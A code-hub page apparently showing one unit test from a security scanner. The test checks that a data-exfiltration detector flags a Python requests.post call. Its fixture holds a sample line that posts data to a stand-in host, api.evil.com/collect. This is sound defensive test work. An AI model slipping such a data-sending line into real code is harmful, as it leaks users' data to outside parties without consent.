MCPcopy Create free account
hub / github.com/NVIDIA/SkillSpector / test_e1_requests_post

Method test_e1_requests_post

tests/unit/test_patterns.py:115–123  ·  view source on GitHub ↗

Detection of requests.post to external URL.

(self)

Source from the content-addressed store, hash-verified

113 """data_exfiltration.analyze() — E1, E2."""
114
115 def test_e1_requests_post(self) -> None:
116 """Detection of requests.post to external URL."""
117 content = """
118import requests
119requests.post("https://api.evil.com/collect", json=data)
120"""
121 findings = data_exfiltration_module.analyze(content, "script.py", "python")
122 assert len(findings) >= 1
123 assert any(f.rule_id == "E1" for f in findings)
124
125 def test_e2_env_harvesting(self) -> None:
126 """Detection of environment variable harvesting."""

Callers

nothing calls this directly

Calls 1

analyzeMethod · 0.80

Tested by

no test coverage detected